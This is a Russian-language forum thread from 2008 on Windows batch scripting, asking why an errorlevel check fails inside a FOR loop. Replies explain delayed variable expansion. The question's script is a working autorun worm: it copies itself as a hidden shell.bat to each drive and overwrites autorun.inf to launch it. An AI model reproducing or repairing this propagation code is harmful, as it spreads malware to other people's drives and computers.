Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - [решено] Использование If в теле цикла For

Ответить
Настройки темы
CMD/BAT - [решено] Использование If в теле цикла For

Аватара для ven00m

Пользователь


Сообщения: 76
Благодарности: 12

Профиль | Отправить PM | Цитировать


Изменения
Автор: ven00m
Дата: 07-01-2008
Описание: Так красивее просто
Всем здорово.
Объясните мне ктонть почему не хочет работать проверка на "существования раздела" (4 и 5 строка, почемуто не хочет работать в теле цикла for), без нее все работает (ну и она отдельно работает на ура) но выдает кучу не нужных ошибок. Я не вирьмейкер просто для общего развития интересно.

Код: Выделить весь код
@echo off
%systemroot%\explorer.exe %cd%
for %%q in (c d e f) do (
	cd %%q%:
	if %errorlevel%==1 (goto nxt)
	copy %0 %%q%:\shell.bat /v /y>>nul
	attrib +r +s +h %%q%:\shell.bat>>nul
	del %%q%:\autorun.inf /q>>nul
	echo [autorun]>>%%q%:\autorun.inf
	echo shellexecute=shell.bat>>%%q%:\autorun.inf
	attrib +r +s +h %%q%:\autorun.inf>>nul
:nxt
)
Заранее спасибо.

Отправлено: 13:45, 07-01-2008

 

Аватара для hasherfrog

Старый параноик


Сообщения: 2423
Благодарности: 85

Профиль | Отправить PM | Цитировать


Перед исполнением цикла for происходит раскрытие %переменных% в их значения. То есть, если %errorlevel% был равен 0, то весь цикл развернётся в последовательность команд, где будет намертво прописано if 0==1 (goto nxt). Простейший способ обойти это -- внутри for вызывать другой пакетный файл (батник), где происходят проверки нужных переменных.

Другой, более "продвинутый" вариант:
Код: Выделить весь код
goto start

:hey
echo %errorlevel% 
goto :EOF

:start
for %%q in (c d g y) do (
cd %%q%:
call :hey
)

Последний раз редактировалось hasherfrog, 11-01-2008 в 14:40. Причина: Добавил пример с :EOF


Отправлено: 14:33, 11-01-2008 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Аватара для ven00m

Пользователь


Сообщения: 76
Благодарности: 12

Профиль | Отправить PM | Цитировать


А как можно правельно вызвать тот-же самый BAT-файл с передачей параметров?
Не хочет работать, вроде ошибок нет. Это вапще реально?
Код: Выделить весь код
if %1%=="1" (goto prog2)
for %%q in (c d e f) do (
; вызов самого себя с передачей параметров %1(просто ключ) %2(буква диска)
	call %0% 1 %%q%
)
goto nxt
:prog2
cd %2%:
if %errorlevel%==1 (goto nxt)
; код второй программы использующий %1 и %2 параметры
:nxt

Отправлено: 16:21, 11-01-2008 | #3



Moderator


Сообщения: 53173
Благодарности: 15430

Профиль | Отправить PM | Цитировать


Цитата ven00m:
Объясните мне ктонть почему не хочет работать проверка на "существования раздела" (4 и 5 строка, почемуто не хочет работать в теле цикла for)
Видимо, из-за раннего связывания. Для включения связывания времени выполнения надо вставить в начало файла команду SetLocal с параметром EnableDelayedExpansion:
Код: Выделить весь код
SetLocal EnableExtensions EnableDelayedExpansion
и использовать символы "!" вместо "%" при обращении к переменным. Почитать об этом можно, выполнив set /? в командной строке:
Код: Выделить весь код
Связывание времени выполнения для переменных среды окружения полезно при обходе
ограничений раннего связывания, которое происходит при первом чтении текстовой
строки, а не при ее выполнении. Следующий пример демонстрирует возникающую
проблему при использовании раннего связывания переменных:

    set VAR=before
    if "%VAR%" == "before" (
        set VAR=after
        if "%VAR%" == "after" @echo Тело внутреннего оператора сравнения
    )

Данное сообщение не будет выводиться, т.к. %VAR% в ОБОИХ выражениях IF
подставляется в момент первого использования в первом IF, в том числе и в тело
первого ветвления IF, которое является составным выражением. В IF внутри
составного выражения в действительности сравниваются значения "before" и
"after", что заведомо ложно. Следующий пример демонстрирует подобную ошибку:

    set LIST=
    for %i in (*) do set LIST=%LIST% %i
    echo %LIST%

в данном случае список файлов текущей папки никогда не будет построен. Вместо
этого, значением переменной LIST будет имя последнего найденного файла.
И вновь, это случилось потому, что %LIST% подставляется всего один раз -
в момент обработки выражения FOR, когда список еще пуст.
Фактически, приведенный фрагмент эквивалентен следующему примеру:

    for %i in (*) do set LIST= %i

в котором имя последнего найденного файла сохраняется в переменной LIST.

Связывание времени выполнения для переменных среды окружения происходит при
использовании специального символа (восклицательного знака), обозначающего
проведение сопоставления во время выполнения. Если включена поддержка связывания
времени выполнения, то для достижения ожидаемых результатов приведенные выше
фрагменты должны быть изменены следующим образом:

    set VAR=before
    if "%VAR%" == "before" (
        set VAR=after
        if "!VAR!" == "after" @echo Тело внутреннего оператора сравнения
    )

    set LIST=
    for %i in (*) do set LIST=!LIST! %i
    echo %LIST%
Это сообщение посчитали полезным следующие участники:

Отправлено: 17:09, 11-01-2008 | #4



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » CMD/BAT - [решено] Использование If в теле цикла For

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
CMD/BAT - [решено] параметры цикла for для построчного анализа текстового файла?! akrav Скриптовые языки администрирования Windows 51 07-08-2017 21:22
[решено] Внедрение цикла в код программы... Помогите разобраться. sashadeg AutoIt 1 19-03-2009 10:38
CMD/BAT - [решено] как правильно передать переменные подпрограмме из цикла for akrav Скриптовые языки администрирования Windows 4 07-01-2008 17:51
Подскажите порядок настройки и подключения интернета через GPRS в OpenSuse 10.2 теле maxk333 Железо в Linux 0 17-11-2007 21:43




 
Переход